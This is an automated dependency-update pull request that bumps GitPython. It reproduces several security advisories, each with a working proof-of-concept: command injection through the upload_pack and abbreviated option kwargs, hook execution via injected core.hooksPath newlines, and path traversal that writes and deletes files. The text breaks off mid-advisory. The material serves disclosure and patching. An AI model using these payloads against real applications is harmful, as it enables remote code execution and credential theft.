Update dependency gitpython to v3.1.59 [SECURITY] #15

Open

Renovate wants to merge 1 commit from renovate/pypi-gitpython-vulnerability into main

pull from: renovate/pypi-gitpython-vulnerability

merge into: GalacticFactory:main

GalacticFactory:main

GalacticFactory:renovate/basedpyright-1.x

GalacticFactory:renovate/actions-setup-uv-10.x

GalacticFactory:renovate/ruff-0.x

GalacticFactory:renovate/lock-file-maintenance

GalacticFactory:renovate/actions-checkout-7.x

GalacticFactory:renovate/typer-0.x

GalacticFactory:renovate/tomlkit-0.x

GalacticFactory:renovate/major-github-artifact-actions

Conversation 0 Commits 1 Files changed 1 +3 -3

Renovate commented 2026-05-05 12:47:40 -04:00

Member

Copy link

This PR contains the following updates:

Package	Change	Age	Confidence
gitpython	3.1.46 → 3.1.59

---

GitPython has Command Injection via Git options bypass

CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160

More information

Details

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

##### Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

##### Setup: this wrapper is just to demo things you can do, not required for the exploit to work

##### you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
    f.write(f"""#!/bin/sh
{{
  echo "code_exec=1"
  echo "whoami=$(id)"
  echo "cwd=$(pwd)"
  echo "uname=$(uname -a)"
  printf 'argv='; printf '<%s>' "$@"; echo
  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f:
    f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
    ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
    check=True,
    stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim)
remote = repo.remote("origin")

##### the literal Git option name is properly blocked.
try:
    remote.fetch(**{"upload-pack": wrapper})
    print("control=unexpected_success")
except UnsafeOptionError:
    print("control=blocked")

##### this is the actual vulnerability

##### you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
##### if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)

##### Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())

3. Expected result:

• The script prints control=blocked
• The script prints proof_exists True ...
• The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names

Example output:

GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin  <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>

This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.

Impact

Who is impacted:

• Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
• Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
• CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )

What the attacker needs to control:

• A value that becomes upload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()

From a severity perspective, this could lead to

• Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
• Modification of repositories, build outputs, or release artifacts
• Lateral movement from CI/CD workers or automation hosts
• Full compromise of the worker or service process handling repository operations

The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4
• https://nvd.nist.gov/vuln/detail/CVE-2026-42215
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Unsafe option check validates multi_options before shlex.split transformation

CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161

More information

Details

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79

Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Severity

• CVSS Score: 8.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485
• https://nvd.nist.gov/vuln/detail/CVE-2026-42284
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47
• https://www.tenable.com/cve/CVE-2026-32686

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160

More information

Details

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161

More information

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

Severity

• CVSS Score: 9.8 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://www.tenable.com/cve/CVE-2026-32686
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository

CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162

More information

Details

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.

---

📦 Affected Versions

• Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

---

🧠 Details

Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion

---

Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

---

Affected Code

def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...

@classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)

def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)

---

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.

---

🧪 Proof of Concept

Setup

pip install GitPython==3.1.46
python poc.py

---

Exploit

import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())

---

Result

repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False

---

💥 Impact

What can an attacker do?

• Create or overwrite files outside the repository metadata directory
• Delete attacker-chosen files reachable from the process permissions
• Corrupt application state or configuration files
• Cause denial of service by deleting or overwriting important files

---

Security Impact

• Confidentiality: Low
• Integrity: High
• Availability: High

---

Who is affected?

• Applications that expose GitPython reference operations to user-controlled input
• Git automation services, repository management backends, CI/CD helpers, and developer platforms
• Multi-user environments where one user can influence ref names processed on behalf of another workflow

---

🛠️ Mitigation / Fix

Recommended Fix

def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)

full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)

Severity

• CVSS Score: 7.8 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24
• https://nvd.nist.gov/vuln/detail/CVE-2026-44243
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162

More information

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163

More information

Details

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Severity

• CVSS Score: 7.8 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67
• https://nvd.nist.gov/vuln/detail/CVE-2026-44244
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163

More information

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Severity

• CVSS Score: 7.8 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

CVE-2026-67326 / GHSA-mv93-w799-cj2w

More information

Details

Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Severity

• CVSS Score: 7.0 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w
• https://github.com/advisories/GHSA-rpm5-65cw-6hj4
• https://github.com/gitpython-developers/GitPython

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

CVE-2026-67325 / GHSA-2f96-g7mh-g2hx / PYSEC-2026-3836

More information

Details

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

##### git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)

Location	Role
git/cmd.py:948-960 _canonicalize_option_name	canonicalizer — no prefix expansion
git/cmd.py:963-974 check_unsafe_options	exact-match dict lookup (the incomplete guard)
git/cmd.py:1511 transform_kwarg	emits --<dashify(name)>=<value> to the CLI
git/repo/base.py:1411,1413	clone call sites
git/remote.py:1074,1128,1201	fetch / pull / push call sites

Bypass keys (verified)

kwarg key	git resolves to	path	weaponizable
upload_p, upload_pac	--upload-pack	clone / fetch / pull	Yes — direct RCE
receive_p	--receive-pack	push	Yes — direct RCE
exe	--exec	push	Yes — direct RCE
conf, confi	--config	clone	bypasses option blocklist; RCE needs an additional config vector (see note)

Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

##### fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

• upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
• allow_unsafe_options=True opt-out behaves as documented (out of scope).

Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.

Suggested remediation (any one)

1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx
• https://nvd.nist.gov/vuln/detail/CVE-2026-67325
• https://github.com/gitpython-developers/GitPython/pull/2161
• https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51
• https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: command injection via unguarded Git options in Repo.archive(), git.ls_remote(), and arbitrary file overwrite via Repo.iter_commits() / Repo.blame()

CVE-2026-67323 / GHSA-956x-8gvw-wg5v / PYSEC-2026-3839

More information

Details

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": ""} give
git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

